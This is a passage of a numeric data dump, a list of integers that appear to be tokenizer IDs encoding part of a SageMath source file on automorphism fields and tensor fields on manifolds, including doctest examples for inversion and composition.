29906,
29974,
29894,
29985,
29906,
19216,
29900,
29897,
13,
9651,
269,
482,
29901,
318,
29894,
29918,
517,
29918,
3594,
353,
921,
29891,
29918,
517,
29918,
4090,
29889,
262,
3901,
580,
13,
9651,
269,
482,
29901,
321,
29918,
3594,
353,
274,
29918,
3594,
29889,
2557,
890,
321,
29918,
4090,
353,
274,
29918,
4090,
29889,
2557,
580,
13,
9651,
269,
482,
29901,
281,
353,
341,
29889,
8111,
29918,
2671,
3319,
29872,
29918,
3594,
29901,
518,
29941,
29892,
29871,
29896,
29962,
1118,
1024,
2433,
29893,
1495,
13,
9651,
269,
482,
29901,
281,
29889,
1202,
29918,
2388,
29918,
1609,
29918,
20621,
362,
29898,
29872,
29918,
4090,
29892,
501,
29889,
1639,
2042,
29898,
29963,
511,
274,
29918,
4090,
29897,
13,
9651,
269,
482,
29901,
503,
353,
341,
29889,
650,
29918,
689,
3319,
29872,
29918,
3594,
29901,
21069,
29891,
29892,
921,
29962,
1118,
1024,
2433,
29920,
1495,
13,
9651,
269,
482,
29901,
503,
29889,
1202,
29918,
2388,
29918,
1609,
29918,
20621,
362,
29898,
29872,
29918,
4090,
29892,
501,
29889,
1639,
2042,
29898,
29963,
511,
274,
29918,
4090,
29897,
13,
9651,
269,
482,
29901,
5163,
353,
341,
29889,
29873,
574,
296,
29918,
22350,
29918,
2671,
580,
13,
9651,
269,
482,
29901,
269,
353,
5163,
29898,
29893,
416,
269,
13,
9651,
16510,
1746,
281,
373,
278,
29871,
29906,
29899,
12531,
17473,
519,
25941,
341,
13,
9651,
269,
482,
29901,
269,
1275,
281,
13,
9651,
5852,
13,
9651,
269,
482,
29901,
269,
353,
5163,
29898,
29920,
29892,
281,
416,
269,
13,
9651,
317,
1052,
279,
1746,
503,
29898,
29893,
29897,
373,
278,
29871,
29906,
29899,
12531,
17473,
519,
25941,
341,
13,
9651,
269,
482,
29901,
269,
1275,
503,
29898,
29893,
29897,
13,
9651,
5852,
13,
13,
4706,
8989,
310,
3345,
5676,
12903,
373,
278,
29871,
29906,
29899,
29879,
9085,
1057,
13,
13,
9651,
269,
482,
29901,
263,
353,
341,
29889,
1300,
14143,
29918,
2671,
3319,
29872,
29918,
3594,
29901,
5519,
29899,
29896,
29892,
29871,
29900,
1402,
518,
29900,
29892,
29871,
29896,
5262,
1118,
1024,
2433,
29874,
1495,
13,
9651,
269,
482,
29901,
263,
29889,
1202,
29918,
2388,
29918,
1609,
29918,
20621,
362,
29898,
29872,
29918,
4090,
29892,
501,
29889,
1639,
2042,
29898,
29963,
511,
274,
29918,
4090,
29897,
13,
13,
4706,
8251,
411,
263,
2323,
2980,
1057,
13,
13,
9651,
269,
482,
29901,
269,
353,
263,
29898,
29893,
416,
269,
13,
9651,
16510,
1746,
263,
29898,
29893,
29897,
373,
278,
29871,
29906,
29899,
12531,
17473,
519,
25941,
341,
13,
9651,
269,
482,
29901,
269,
29889,
4990,
29898,
29872,
29918,
3594,
29897,
13,
9651,
263,
29898,
29893,
29897,
353,
448,
29941,
270,
29914,
8235,
718,
270,
29914,
4518,
13,
9651,
269,
482,
29901,
269,
29889,
4990,
29898,
29872,
29918,
4090,
29897,
13,
9651,
263,
29898,
29893,
29897,
353,
313,
29941,
29930,
29884,
29985,
29906,
448,
29871,
29906,
29930,
29884,
29930,
29894,
448,
29871,
29941,
29930,
29894,
29985,
29906,
29897,
270,
29914,
700,
718,
313,
29884,
29985,
29906,
718,
29871,
29953,
29930,
29884,
29930,
29894,
448,
325,
29985,
29906,
29897,
270,
29914,
29881,
29894,
13,
9651,
269,
482,
29901,
269,
29889,
5060,
4146,
29898,
29965,
29897,
1275,
263,
29889,
5060,
4146,
29898,
29965,
5033,
29893,
29889,
5060,
4146,
29898,
29965,
876,
13,
9651,
5852,
13,
9651,
269,
482,
29901,
269,
29889,
5060,
4146,
29898,
29963,
29897,
1275,
263,
29889,
5060,
4146,
29898,
29963,
5033,
29893,
29889,
5060,
4146,
29898,
29963,
876,
13,
9651,
5852,
13,
9651,
269,
482,
29901,
269,
29889,
5060,
4146,
29898,
29965,
29897,
1275,
263,
29898,
29893,
29889,
5060,
4146,
29898,
29965,
876,
13,
9651,
5852,
13,
9651,
269,
482,
29901,
269,
29889,
5060,
4146,
29898,
29965,
29897,
1275,
263,
29889,
5060,
4146,
29898,
29965,
5033,
29893,
29897,
13,
9651,
5852,
13,
13,
4706,
8251,
411,
1023,
6273,
1057,
13,
13,
9651,
269,
482,
29901,
269,
353,
263,
29898,
29920,
29892,
281,
416,
269,
13,
9651,
317,
1052,
279,
1746,
263,
29898,
29920,
29892,
29893,
29897,
373,
278,
29871,
29906,
29899,
12531,
17473,
519,
25941,
341,
13,
9651,
269,
482,
29901,
269,
29889,
4990,
580,
13,
9651,
263,
29898,
29920,
29892,
29893,
1125,
341,
6660,
390,
13,
9651,
373,
501,
29901,
313,
29916,
29892,
343,
29897,
891,
15110,
921,
718,
29871,
29941,
29930,
29891,
13,
9651,
373,
478,
29901,
313,
29884,
29892,
325,
29897,
891,
15110,
313,
29884,
718,
29871,
29941,
29930,
29894,
6802,
29898,
29884,
29985,
29906,
718,
325,
29985,
29906,
29897,
13,
9651,
269,
482,
29901,
269,
29889,
5060,
4146,
29898,
29965,
29897,
1275,
263,
29889,
5060,
4146,
29898,
29965,
5033,
29920,
29889,
5060,
4146,
29898,
29965,
511,
281,
29889,
5060,
4146,
29898,
29965,
876,
13,
9651,
5852,
13,
9651,
269,
482,
29901,
269,
29889,
5060,
4146,
29898,
29963,
29897,
1275,
263,
29889,
5060,
4146,
29898,
29963,
5033,
29920,
29889,
5060,
4146,
29898,
29963,
511,
281,
29889,
5060,
4146,
29898,
29963,
876,
13,
9651,
5852,
13,
9651,
269,
482,
29901,
269,
29889,
5060,
4146,
29898,
29965,
29897,
1275,
263,
29898,
29920,
29889,
5060,
4146,
29898,
29965,
511,
281,
29889,
5060,
4146,
29898,
29965,
876,
13,
9651,
5852,
13,
9651,
269,
482,
29901,
269,
29889,
5060,
4146,
29898,
29965,
29897,
1275,
263,
29898,
29920,
29892,
281,
29889,
5060,
4146,
29898,
29965,
876,
13,
9651,
5852,
13,
13,
4706,
9995,
13,
4706,
565,
1583,
3032,
275,
29918,
22350,
29901,
13,
9651,
565,
7431,
29898,
1191,
29897,
1275,
29871,
29896,
29901,
13,
18884,
396,
450,
10110,
2910,
16684,
408,
1316,
29892,
373,
263,
4608,
1746,
29901,
13,
18884,
4608,
353,
1852,
29961,
29900,
29962,
13,
18884,
565,
4608,
3032,
20158,
29918,
1853,
2804,
313,
29896,
29892,
29900,
1125,
13,
462,
1678,
12020,
20948,
703,
1552,
2980,
1818,
367,
263,
4608,
1746,
1159,
13,
18884,
2432,
353,
1583,
3032,
7247,
29889,
1639,
2042,
29898,
8111,
3032,
7247,
29897,
13,
18884,
736,
4608,
29889,
5060,
4146,
29898,
3129,
29897,
13,
9651,
25342,
7431,
29898,
1191,
29897,
1275,
29871,
29906,
29901,
13,
18884,
396,
1583,
16684,
408,
263,
1134,
17722,
29896,
29892,
29896,
29897,
12489,
373,
263,
5101,
13,
18884,
396,
313,
29896,
29899,
689,
29892,
4608,
1746,
511,
7863,
263,
17336,
1746,
29901,
13,
18884,
697,
689,
353,
1852,
29961,
29900,
29962,
13,
18884,
4608,
353,
1852,
29961,
29896,
29962,
13,
18884,
2432,
353,
1583,
3032,
7247,
29889,
1639,
2042,
29898,
13,
462,
462,
29871,
697,
689,
3032,
7247,
467,
1639,
2042,
29898,
8111,
3032,
7247,
29897,
13,
18884,
736,
697,
689,
29889,
5060,
4146,
29898,
3129,
5033,
8111,
29889,
5060,
4146,
29898,
3129,
876,
13,
9651,
1683,
29901,
13,
18884,
12020,
20948,
703,
15866,
549,
1353,
310,
6273,
1159,
13,
4706,
396,
3251,
293,
1206,
13,
4706,
565,
7431,
29898,
1191,
29897,
1275,
29871,
29896,
29901,
13,
9651,
396,
450,
1746,
310,
3345,
5676,
12903,
16684,
373,
263,
4608,
1746,
29901,
13,
9651,
4608,
353,
1852,
29961,
29900,
29962,
13,
9651,
565,
4608,
3032,
20158,
29918,
1853,
2804,
313,
29896,
29892,
29900,
1125,
13,
18884,
12020,
20948,
703,
1552,
2980,
1818,
367,
263,
4608,
1746,
1159,
13,
9651,
2432,
353,
1583,
3032,
7247,
29889,
1639,
2042,
29898,
8111,
3032,
7247,
29897,
13,
9651,
4608,
29918,
3129,
353,
4608,
29889,
5060,
4146,
29898,
3129,
29897,
13,
9651,
565,
2432,
2804,
1583,
3032,
7247,
29901,
13,
18884,
736,
1583,
29889,
5060,
4146,
29898,
3129,
5033,
8111,
29918,
3129,
29897,
13,
9651,
620,
29884,
353,
2432,
29889,
8111,
29918,
2671,
580,
13,
9651,
565,
1583,
3032,
978,
338,
451,
6213,
322,
4608,
3032,
978,
338,
451,
6213,
29901,
13,
18884,
620,
29884,
3032,
978,
353,
1583,
3032,
978,
718,
376,
703,
718,
4608,
3032,
978,
718,
376,
5513,
13,
9651,
565,
1583,
3032,
25694,
29918,
978,
338,
451,
6213,
322,
4608,
3032,
25694,
29918,
978,
338,
451,
6213,
29901,
13,
18884,
620,
29884,
3032,
25694,
29918,
978,
353,
1583,
3032,
25694,
29918,
978,
718,
364,
26732,
1563,
703,
718,
320,
13,
462,
462,
259,
4608,
3032,
25694,
29918,
978,
718,
364,
26732,
1266,
5513,
13,
9651,
363,
269,
3129,
29892,
3345,
5676,
297,
1583,
3032,
5060,
4146,
1080,
29889,
7076,
7295,
13,
18884,
620,
29884,
3032,
5060,
4146,
1080,
29961,
29879,
3129,
29962,
353,
3345,
5676,
29898,
8111,
29918,
3129,
29889,
5060,
4146,
29898,
29879,
3129,
876,
13,
9651,
736,
620,
29884,
13,
4706,
396,
11733,
310,
29871,
29906,
6273,
29901,
13,
4706,
736,
323,
6073,
3073,
17255,
4804,
12035,
1311,
29892,
334,
1191,
29897,
13,
13,
13,
1678,
3191,
9683,
666,
506,
1230,
4782,
2642,
3519,
3191,
13,
13,
1678,
822,
4770,
262,
1765,
12035,
1311,
1125,
13,
4706,
364,
15945,
29908,
13,
4706,
7106,
278,
16402,
3345,
28611,
310,
4954,
1311,
29952,
1412,
13,
13,
4706,
8528,
19297,
17101,
29901,
13,
13,
4706,
512,
3901,
310,
263,
1746,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
373,
263,
13,
4706,
1661,
29899,
23482,
13902,
29871,
29906,
29899,
12531,
25941,
1057,
13,
13,
9651,
269,
482,
29901,
341,
353,
2315,
361,
1025,
29898,
29906,
29892,
525,
29924,
1495,
13,
9651,
269,
482,
29901,
501,
353,
341,
29889,
3150,
29918,
6484,
877,
29965,
1495,
2056,
478,
353,
341,
29889,
3150,
29918,
6484,
877,
29963,
1495,
13,
9651,
269,
482,
29901,
341,
29889,
7099,
8663,
29918,
13094,
29898,
29965,
29892,
29963,
29897,
259,
396,
341,
338,
278,
9833,
310,
501,
322,
478,
13,
9651,
269,
482,
29901,
399,
353,
501,
29889,
1639,
2042,
29898,
29963,
29897,
13,
9651,
269,
482,
29901,
274,
29918,
3594,
19423,
29916,
29892,
29891,
29958,
353,
501,
29889,
15425,
580,
2056,
274,
29918,
4090,
19423,
29884,
29892,
29894,
29958,
353,
478,
29889,
15425,
580,
13,
9651,
269,
482,
29901,
1301,
29888,
353,
274,
29918,
3594,
29889,
20543,
29918,
1958,
29898,
29883,
29918,
4090,
29892,
313,
29916,
29974,
29891,
29892,
921,
29899,
29891,
511,
13,
9651,
13035,
29901,
1678,
17686,
29918,
978,
2433,
29956,
742,
25091,
29896,
29922,
921,
29958,
29900,
29892,
25091,
29906,
29922,
318,
29974,
29894,
29958,
29900,
29897,
13,
9651,
269,
482,
29901,
2437,
353,
1301,
29888,
29889,
262,
3901,
580,
13,
9651,
269,
482,
29901,
321,
29965,
353,
274,
29918,
3594,
29889,
2557,
580,
2056,
321,
29963,
353,
274,
29918,
4090,
29889,
2557,
580,
13,
9651,
269,
482,
29901,
263,
353,
341,
29889,
1300,
14143,
29918,
2671,
3319,
29872,
29965,
29901,
5519,
29896,
29892,
29916,
1402,
518,
29900,
29892,
29906,
5262,
1118,
1024,
2433,
29874,
1495,
13,
9651,
269,
482,
29901,
263,
29889,
1202,
29918,
2388,
29918,
1609,
29918,
20621,
362,
29898,
29872,
29963,
29892,
399,
29892,
274,
29918,
4090,
29897,
13,
9651,
269,
482,
29901,
29871,
423,
353,
263,
29889,
262,
3901,
580,
2056,
29871,
423,
13,
9651,
8989,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
263,
29985,
6278,
29896,
29897,
373,
278,
29871,
29906,
29899,
12531,
13,
632,
17473,
519,
25941,
341,
13,
9651,
269,
482,
29901,
263,
29961,
29872,
29965,
29892,
29901,
1402,
29871,
423,
29961,
29872,
29965,
29892,
17531,
13,
9651,
313,
13,
9651,
518,
29896,
921,
29962,
29871,
518,
418,
29896,
448,
29896,
29914,
29906,
29930,
29916,
29962,
13,
9651,
518,
29900,
29871,
29906,
1402,
518,
418,
29900,
268,
29896,
29914,
29906,
29962,
13,
9651,
1723,
13,
9651,
269,
482,
29901,
263,
29961,
29872,
29963,
29892,
29901,
1402,
29871,
423,
29961,
29872,
29963,
29892,
17531,
13,
9651,
313,
13,
9651,
518,
29871,
29896,
29914,
29946,
29930,
29884,
718,
29871,
29896,
29914,
29946,
29930,
29894,
718,
29871,
29941,
29914,
29906,
448,
29896,
29914,
29946,
29930,
29884,
448,
29871,
29896,
29914,
29946,
29930,
29894,
448,
29871,
29896,
29914,
29906,
29962,
13,
9651,
518,
29871,
29896,
29914,
29946,
29930,
29884,
718,
29871,
29896,
29914,
29946,
29930,
29894,
448,
29871,
29896,
29914,
29906,
448,
29896,
29914,
29946,
29930,
29884,
448,
29871,
29896,
29914,
29946,
29930,
29894,
718,
29871,
29941,
29914,
29906,
1402,
13,
9651,
21069,
29896,
29914,
29947,
29930,
29884,
448,
29871,
29896,
29914,
29947,
29930,
29894,
718,
29871,
29941,
29914,
29946,
259,
29896,
29914,
29947,
29930,
29884,
718,
29871,
29896,
29914,
29947,
29930,
29894,
718,
29871,
29896,
29914,
29946,
29962,
13,
9651,
21069,
29896,
29914,
29947,
29930,
29884,
448,
29871,
29896,
29914,
29947,
29930,
29894,
718,
29871,
29896,
29914,
29946,
259,
29896,
29914,
29947,
29930,
29884,
718,
29871,
29896,
29914,
29947,
29930,
29894,
718,
29871,
29941,
29914,
29946,
29962,
13,
9651,
1723,
13,
13,
4706,
2803,
502,
1423,
393,
29871,
423,
338,
6200,
278,
16402,
310,
263,
1057,
13,
13,
9651,
269,
482,
29901,
269,
353,
263,
29889,
1285,
1461,
29898,
423,
29897,
13,
9651,
269,
482,
29901,
269,
29961,
29872,
29965,
29892,
29901,
1402,
269,
29961,
29872,
29963,
29892,
17531,
13,
9651,
313,
13,
9651,
518,
29896,
29871,
29900,
29962,
29871,
518,
29896,
29871,
29900,
29962,
13,
9651,
518,
29900,
29871,
29896,
1402,
518,
29900,
29871,
29896,
29962,
13,
9651,
1723,
13,
9651,
269,
482,
29901,
269,
353,
29871,
423,
29889,
1285,
1461,
29898,
29874,
29897,
13,
9651,
269,
482,
29901,
269,
29961,
29872,
29965,
29892,
29901,
1402,
269,
29961,
29872,
29963,
29892,
17531,
13,
9651,
313,
13,
9651,
518,
29896,
29871,
29900,
29962,
29871,
518,
29896,
29871,
29900,
29962,
13,
9651,
518,
29900,
29871,
29896,
1402,
518,
29900,
29871,
29896,
29962,
13,
9651,
1723,
13,
13,
4706,
450,
1121,
338,
22152,
1057,
13,
13,
9651,
269,
482,
29901,
263,
29889,
262,
3901,
580,
338,
29871,
423,
13,
9651,
5852,
13,
13,
4706,
8669,
310,
4954,
262,
3901,
2555,
1673,
697,
508,
671,
278,
3081,
26134,
697,
304,
679,
278,
13,
4706,
16402,
1057,
13,
13,
9651,
269,
482,
29901,
29871,
423,
338,
263,
29985,
6278,
29896,
29897,
13,
9651,
5852,
13,
13,
4706,
470,
278,
5455,
4954,
30022,
16159,
1057,
13,
13,
9651,
269,
482,
29901,
29871,
423,
338,
3695,
29874,
13,
9651,
5852,
13,
13,
4706,
9995,
13,
4706,
565,
1583,
3032,
275,
29918,
22350,
29901,
13,
9651,
736,
1583,
13,
4706,
565,
1583,
3032,
262,
3901,
338,
6213,
29901,
13,
9651,
515,
269,
482,
29889,
20158,
29889,
7576,
29889,
4830,
29918,
4422,
1907,
1053,
338,
29918,
21641,
13,
9651,
565,
1583,
3032,
978,
338,
6213,
29901,
13,
18884,
2437,
29918,
978,
353,
6213,
13,
9651,
1683,
29901,
13,
18884,
565,
338,
29918,
21641,
29898,
1311,
3032,
978,
29892,
6024,
29930,
2033,
1125,
13,
462,
1678,
2437,
29918,
978,
353,
1583,
3032,
978,
718,
525,
29985,
6278,
29896,
16029,
13,
18884,
1683,
29901,
13,
462,
1678,
2437,
29918,
978,
353,
525,
877,
718,
1583,
3032,
978,
718,
525,
4887,
6278,
29896,
16029,
13,
9651,
565,
1583,
3032,
25694,
29918,
978,
338,
6213,
29901,
13,
18884,
2437,
29918,
25694,
29918,
978,
353,
6213,
13,
9651,
1683,
29901,
13,
18884,
565,
338,
29918,
21641,
29898,
1311,
3032,
25694,
29918,
978,
29892,
6024,
1966,
6034,
742,
525,
1966,
9356,
2033,
1125,
13,
462,
1678,
2437,
29918,
25694,
29918,
978,
353,
1583,
3032,
25694,
29918,
978,
718,
364,
29915,
3426,
29896,
10162,
13,
18884,
1683,
29901,
13,
462,
1678,
2437,
29918,
25694,
29918,
978,
353,
364,
12764,
1563,
877,
718,
1583,
3032,
25694,
29918,
978,
718,
320,
13,
462,
462,
268,
364,
12764,
1266,
21604,
29896,
10162,
13,
9651,
1583,
3032,
262,
3901,
353,
1583,
3032,
29894,
5453,
29889,
1300,
14143,
29898,
978,
29922,
11569,
29918,
978,
29892,
13,
462,
462,
462,
539,
5683,
29916,
29918,
978,
29922,
11569,
29918,
25694,
29918,
978,
29897,
13,
9651,
363,
2432,
29892,
364,
303,
297,
1583,
3032,
5060,
4146,
1080,
29889,
7076,
7295,
13,
18884,
1583,
3032,
262,
3901,
3032,
5060,
4146,
1080,
29961,
3129,
29962,
353,
364,
303,
29889,
262,
3901,
580,
13,
4706,
736,
1583,
3032,
262,
3901,
13,
13,
1678,
16402,
353,
4770,
262,
1765,
1649,
13,
13,
1678,
822,
903,
16109,
23538,
1311,
29892,
916,
1125,
13,
4706,
364,
15945,
29908,
13,
4706,
5202,
14143,
15259,
29889,
13,
13,
4706,
910,
10703,
278,
2318,
4307,
310,
421,
7239,
29898,
29990,
29898,
29965,
2053,
9492,
876,
1673,
411,
421,
29990,
29898,
29965,
2053,
9492,
3569,
13,
4706,
1641,
278,
3883,
310,
4954,
1311,
29952,
1412,
13,
13,
4706,
2672,
12336,
29901,
13,
13,
4706,
448,
4954,
1228,
16159,
1192,
385,
3345,
28611,
310,
278,
1021,
3883,
408,
4954,
1311,
16159,
13,
13,
4706,
19474,
12336,
29901,
13,
13,
4706,
448,
278,
3345,
28611,
9819,
515,
278,
15259,
310,
4954,
1228,
16159,
322,
13,
4706,
4954,
1311,
16159,
13,
13,
4706,
17067,
1254,
29903,
1057,
13,
13,
9651,
269,
482,
29901,
341,
353,
2315,
361,
1025,
29898,
29906,
29892,
525,
29924,
1495,
396,
278,
29871,
29906,
29899,
12531,
20745,
317,
29985,
29906,
13,
9651,
269,
482,
29901,
501,
353,
341,
29889,
3150,
29918,
6484,
877,
29965,
1495,
396,
19595,
310,
278,
4644,
22775,
13,
9651,
269,
482,
29901,
274,
29918,
3594,
19423,
29916,
29892,
29891,
29958,
353,
501,
29889,
15425,
580,
396,
269,
12358,
12122,
10350,
515,
278,
4644,
22775,
13,
9651,
269,
482,
29901,
478,
353,
341,
29889,
3150,
29918,
6484,
877,
29963,
1495,
396,
19595,
310,
278,
4275,
22775,
13,
9651,
269,
482,
29901,
274,
29918,
4090,
19423,
29884,
29892,
29894,
29958,
353,
478,
29889,
15425,
580,
396,
269,
12358,
12122,
10350,
515,
278,
4275,
22775,
13,
9651,
269,
482,
29901,
341,
29889,
7099,
8663,
29918,
13094,
29898,
29965,
29892,
29963,
29897,
259,
396,
317,
29985,
29906,
338,
278,
9833,
310,
501,
322,
478,
13,
9651,
269,
482,
29901,
921,
29891,
29918,
517,
29918,
4090,
353,
274,
29918,
3594,
29889,
20543,
29918,
1958,
29898,
29883,
29918,
4090,
29892,
313,
29916,
14571,
29916,
29985,
29906,
29974,
29891,
29985,
29906,
511,
343,
14571,
29916,
29985,
29906,
29974,
29891,
29985,
29906,
8243,
13,
9651,
13035,
29901,
462,
18884,
17686,
29918,
978,
2433,
29956,
742,
25091,
29896,
29922,
921,
29985,
29906,
29974,
29891,
29985,
29906,
19216,
29900,
29892,
13,
9651,
13035,
29901,
462,
18884,
25091,
29906,
29922,
318,
29985,
29906,
29974,
29894,
29985,
29906,
19216,
29900,
29897,
13,
9651,
269,
482,
29901,
318,
29894,
29918,
517,
29918,
3594,
353,
921,
29891,
29918,
517,
29918,
4090,
29889,
262,
3901,
580,
13,
9651,
269,
482,
29901,
321,
29918,
3594,
353,
274,
29918,
3594,
29889,
2557,
890,
321,
29918,
4090,
353,
274,
29918,
4090,
29889,
2557,
580,
13,
9651,
269,
482,
29901,
263,
353,
341,
29889,
1300,
14143,
29918,
2671,
3319,
29872,
29918,
3594,
29901,
5519,
29899,
29896,
29892,
29871,
29900,
1402,
518,
29900,
29892,
29871,
29896,
5262,
1118,
1024,
2433,
29874,
1495,
13,
9651,
269,
482,
29901,
263,
29889,
1202,
29918,
2388,
29918,
1609,
29918,
20621,
362,
29898,
29872,
29918,
4090,
29892,
501,
29889,
1639,
2042,
29898,
29963,
511,
274,
29918,
4090,
29897,
13,
9651,
269,
482,
29901,
289,
353,
341,
29889,
1300,
14143,
29918,
2671,
3319,
29872,
29918,
4090,
29901,
5519,
29896,
29892,
29871,
29900,
1402,
518,
29900,
29892,
448,
29906,
5262,
1118,
1024,
2433,
29890,
1495,
13,
9651,
269,
482,
29901,
289,
29889,
1202,
29918,
2388,
29918,
1609,
29918,
20621,
362,
29898,
29872,
29918,
3594,
29892,
501,
29889,
1639,
2042,
29898,
29963,
511,
274,
29918,
3594,
29897,
13,
9651,
269,
482,
29901,
269,
353,
263,
3032,
16109,
23538,
29890,
416,
269,
13,
9651,
8989,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
373,
278,
29871,
29906,
29899,
12531,
13,
632,
17473,
519,
25941,
341,
13,
9651,
269,
482,
29901,
269,
29889,
4990,
29898,
29872,
29918,
3594,
29897,
13,
9651,
19691,
29916,
29985,
29946,
448,
29871,
29896,
29900,
29930,
29916,
29985,
29906,
29930,
29891,
29985,
29906,
718,
343,
29985,
29946,
6802,
29898,
29916,
29985,
29946,
718,
29871,
29906,
29930,
29916,
29985,
29906,
29930,
29891,
29985,
29906,
718,
343,
29985,
29946,
29897,
270,
29914,
8235,
29930,
8235,
13,
632,
448,
29871,
29953,
16395,
29916,
29985,
29941,
29930,
29891,
448,
921,
29930,
29891,
29985,
29941,
6802,
29898,
29916,
29985,
29946,
718,
29871,
29906,
29930,
29916,
29985,
29906,
29930,
29891,
29985,
29906,
718,
343,
29985,
29946,
29897,
270,
29914,
8235,
29930,
4518,
13,
632,
718,
29871,
29953,
16395,
29916,
29985,
29941,
29930,
29891,
448,
921,
29930,
29891,
29985,
29941,
6802,
29898,
29916,
29985,
29946,
718,
29871,
29906,
29930,
29916,
29985,
29906,
29930,
29891,
29985,
29906,
718,
343,
29985,
29946,
29897,
270,
29914,
4518,
29930,
8235,
13,
632,
448,
29871,
29906,
16395,
29916,
29985,
29946,
448,
29871,
29946,
29930,
29916,
29985,
29906,
29930,
29891,
29985,
29906,
718,
343,
29985,
29946,
6802,
29898,
29916,
29985,
29946,
718,
29871,
29906,
29930,
29916,
29985,
29906,
29930,
29891,
29985,
29906,
718,
343,
29985,
29946,
29897,
270,
29914,
4518,
29930,
4518,
13,
9651,
269,
482,
29901,
269,
29889,
4990,
29898,
29872,
29918,
4090,
29897,
13,
9651,
19691,
29884,
29985,
29946,
448,
29871,
29953,
29930,
29884,
29985,
29906,
29930,
29894,
29985,
29906,
718,
325,
29985,
29946,
6802,
29898,
29884,
29985,
29946,
718,
29871,
29906,
29930,
29884,
29985,
29906,
29930,
29894,
29985,
29906,
718,
325,
29985,
29946,
29897,
270,
29914,
700,
29930,
700,
13,
632,
718,
29871,
29947,
16395,
29884,
29985,
29941,
29930,
29894,
448,
318,
29930,
29894,
29985,
29941,
6802,
29898,
29884,
29985,
29946,
718,
29871,
29906,
29930,
29884,
29985,
29906,
29930,
29894,
29985,
29906,
718,
325,
29985,
29946,
29897,
270,
29914,
700,
29930,
29881,
29894,
13,
632,
448,
29871,
29946,
16395,
29884,
29985,
29941,
29930,
29894,
448,
318,
29930,
29894,
29985,
29941,
6802,
29898,
29884,
29985,
29946,
718,
29871,
29906,
29930,
29884,
29985,
29906,
29930,
29894,
29985,
29906,
718,
325,
29985,
29946,
29897,
270,
29914,
29881,
29894,
29930,
700,
13,
9651,
448,
29871,
29906,
16395,
29884,
29985,
29946,
448,
29871,
29953,
29930,
29884,
29985,
29906,
29930,
29894,
29985,
29906,
718,
325,
29985,
29946,
6802,
29898,
29884,
29985,
29946,
718,
29871,
29906,
29930,
29884,
29985,
29906,
29930,
29894,
29985,
29906,
718,
325,
29985,
29946,
29897,
270,
29914,
29881,
29894,
29930,
29881,
29894,
13,
9651,
269,
482,
29901,
281,
353,
341,
29889,
8111,
29918,
2671,
29898,
978,
2433,
29893,
1495,
13,
9651,
269,
482,
29901,
281,
29961,
29872,
29918,
3594,
29892,
584,
29962,
353,
518,
29941,
29892,
29871,
29896,
29962,
13,
9651,
269,
482,
29901,
281,
29889,
1202,
29918,
2388,
29918,
1609,
29918,
20621,
362,
29898,
29872,
29918,
4090,
29892,
501,
29889,
1639,
2042,
29898,
29963,
511,
274,
29918,
4090,
29897,
13,
9651,
269,
482,
29901,
269,
29898,
29893,
29897,
1275,
263,
29898,
29890,
29898,
29893,
876,
29871,
396,
1472,
931,
13,
9651,
5852,
13,
13,
4706,
9995,
13,
4706,
396,
1939,
817,
363,
5718,
3819,
1423,
1951,
1583,
322,
916,
526,
22688,
13,
4706,
396,
304,
505,
278,
1021,
3847,
29889,
512,
3153,
29892,
896,
526,
3342,
373,
278,
1021,
13,
4706,
396,
3883,
29889,
13,
4706,
396,
13,
4706,
396,
12630,
4251,
29901,
13,
4706,
565,
1583,
3032,
275,
29918,
22350,
29901,
13,
9651,
736,
916,
13,
4706,
565,
916,
3032,
275,
29918,
22350,
29901,
13,
9651,
736,
1583,
13,
4706,
565,
916,
338,
1583,
3032,
262,
3901,
470,
1583,
338,
916,
3032,
262,
3901,
29901,
13,
9651,
736,
1583,
29889,
3560,
2141,
650,
580,
13,
4706,
396,
4593,
1206,
29901,
13,
4706,
620,
29884,
353,
1134,
29898,
1311,
5033,
1311,
3032,
29894,
5453,
29897,
13,
4706,
363,
2432,
297,
1583,
3032,
9435,
29918,
1491,
3129,
2708,
29898,
1228,
1125,
13,
9651,
620,
29884,
3032,
5060,
4146,
1080,
29961,
3129,
29962,
353,
313,
1311,
3032,
5060,
4146,
1080,
29961,
3129,
29962,
13,
462,
462,
539,
334,
916,
3032,
5060,
4146,
1080,
29961,
3129,
2314,
13,
4706,
736,
620,
29884,
13,
13,
1678,
3191,
2796,
310,
9683,
666,
506,
1230,
4782,
2642,
3519,
3191,
13,
13,
1678,
822,
4770,
16109,
12035,
1311,
29892,
916,
1125,
13,
4706,
364,
15945,
29908,
13,
4706,
4367,
1389,
3475,
310,
13,
4706,
584,
29885,
621,
18078,
30022,
29879,
482,
29889,
1171,
361,
3361,
29889,
29881,
8349,
7268,
519,
29889,
20158,
2671,
29889,
29911,
6073,
3073,
17255,
16109,
1649,
29952,
13,
4706,
577,
393,
4954,
29930,
16159,
13916,
267,
2845,
304,
3345,
28611,
15259,
470,
13,
4706,
304,
278,
12489,
3234,
29889,
13,
13,
4706,
17067,
1254,
29903,
1057,
13,
13,
9651,
269,
482,
29901,
341,
353,
2315,
361,
1025,
29898,
29906,
29892,
525,
29924,
1495,
396,
278,
29871,
29906,
29899,
12531,
20745,
317,
29985,
29906,
13,
9651,
269,
482,
29901,
501,
353,
341,
29889,
3150,
29918,
6484,
877,
29965,
1495,
396,
19595,
310,
278,
4644,
22775,
13,
9651,
269,
482,
29901,
274,
29918,
3594,
19423,
29916,
29892,
29891,
29958,
353,
501,
29889,
15425,
580,
396,
269,
12358,
12122,
10350,
515,
278,
4644,
22775,
13,
9651,
269,
482,
29901,
478,
353,
341,
29889,
3150,
29918,
6484,
877,
29963,
1495,
396,
19595,
310,
278,
4275,
22775,
13,
9651,
269,
482,
29901,
274,
29918,
4090,
19423,
29884,
29892,
29894,
29958,
353,
478,
29889,
15425,
580,
396,
269,
12358,
12122,
10350,
515,
278,
4275,
22775,
13,
9651,
269,
482,
29901,
341,
29889,
7099,
8663,
29918,
13094,
29898,
29965,
29892,
29963,
29897,
259,
396,
317,
29985,
29906,
338,
278,
9833,
310,
501,
322,
478,
13,
9651,
269,
482,
29901,
921,
29891,
29918,
517,
29918,
4090,
353,
274,
29918,
3594,
29889,
20543,
29918,
1958,
29898,
29883,
29918,
4090,
29892,
313,
29916,
14571,
29916,
29985,
29906,
29974,
29891,
29985,
29906,
511,
343,
14571,
29916,
29985,
29906,
29974,
29891,
29985,
29906,
8243,
13,
9651,
13035,
29901,
462,
18884,
17686,
29918,
978,
2433,
29956,
742,
25091,
29896,
29922,
921,
29985,
29906,
29974,
29891,
29985,
29906,
